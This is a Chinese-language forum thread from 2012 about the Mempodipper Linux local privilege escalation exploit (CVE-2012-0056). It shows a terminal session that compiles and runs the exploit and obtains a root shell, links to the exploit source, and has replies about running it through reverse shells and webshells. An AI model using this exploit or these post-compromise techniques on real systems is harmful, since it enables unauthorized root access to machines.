Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit

本帖最后由 qhkest 于 2012-1-27 14:59 编辑

CVE-2012-0056 $ ls
build-and-run-exploit.sh build-and-run-shellcode.sh mempodipper.c shellcode-32.s shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper

= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#
EXP:http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
视频:http://youtu.be/yLu4q4gMCCA
我自已测试了,可以用,我在虚拟机安装的bt5-r1测试的,附图如下
1.jpg
2.jpg

本帖最后由 武大郎 于 2012-1-27 20:27 编辑

**回复 1# qhkest **

经测试。发现。反弹的shell,溢出不成功!有人知道怎么回事嗎?

**回复 2# 武大郎 **

注意内核版本

**回复 3# k@i **

 我本地溢出成功了!但是反弹的shell溢出不成功!

这个利用程序写的还是很精巧的,上周刚刚对它分析了下,一会儿,发出来,论坛里应该还没有人发过这个漏洞的分析吧

还没有,,你发一下吧。在webshell下也可以吗?

**回复 6# qhkest **

反弹shell就可以了